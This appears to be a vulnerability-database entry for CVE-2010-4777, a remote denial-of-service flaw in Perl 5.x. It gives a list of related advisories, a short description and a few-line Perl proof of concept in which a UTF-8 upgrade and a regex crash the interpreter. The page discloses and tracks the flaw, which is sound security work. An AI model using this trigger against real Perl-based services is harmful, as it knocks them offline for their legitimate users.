Perl 5.x - 'Perl_reg_numbered_buff_fetch()' Remote Denial of Service
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
 | CVE-2010-4777 | 23 Mar 201100:00 | – | circl |
 | CVE-2010-4777 | 10 Feb 201417:00 | – | cve |
 | CVE-2010-4777 | 10 Feb 201417:00 | – | cvelist |
 | CVE-2010-4777 | 10 Feb 201417:00 | – | debiancve |
 | EUVD-2010-4742 | 7 Oct 202500:30 | – | euvd |
 | CVE-2010-4777 | 10 Feb 201418:15 | – | nvd |
 | Active Perl Denial of Service Vulnerability (Feb 2014) - Windows | 17 Feb 201400:00 | – | openvas |
 | DEBIAN-CVE-2010-4777 | 10 Feb 201418:15 | – | osv |
| OPENSUSE-SU-2024:10449-1 perl-32bit-5.24.0-3.5 on GA media | 15 Jun 202400:00 | – | osv |
 | Code injection | 10 Feb 201418:15 | – | prion |
10
source: https://www.securityfocus.com/bid/47006/info
Perl is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to cause an application implemented with affected perl code to abort, denying service to legitimate users.
#!/usr/bin/perl
my @x = ("A=B","AAAA=/");
utf8::upgrade $_ for @x;
$x[1] =~ s{/\s*$}{};
for (@x) {
m{^([^=]+?)\s*=.+$};
}Data
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08 Dec 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 24.3
EPSS0.06018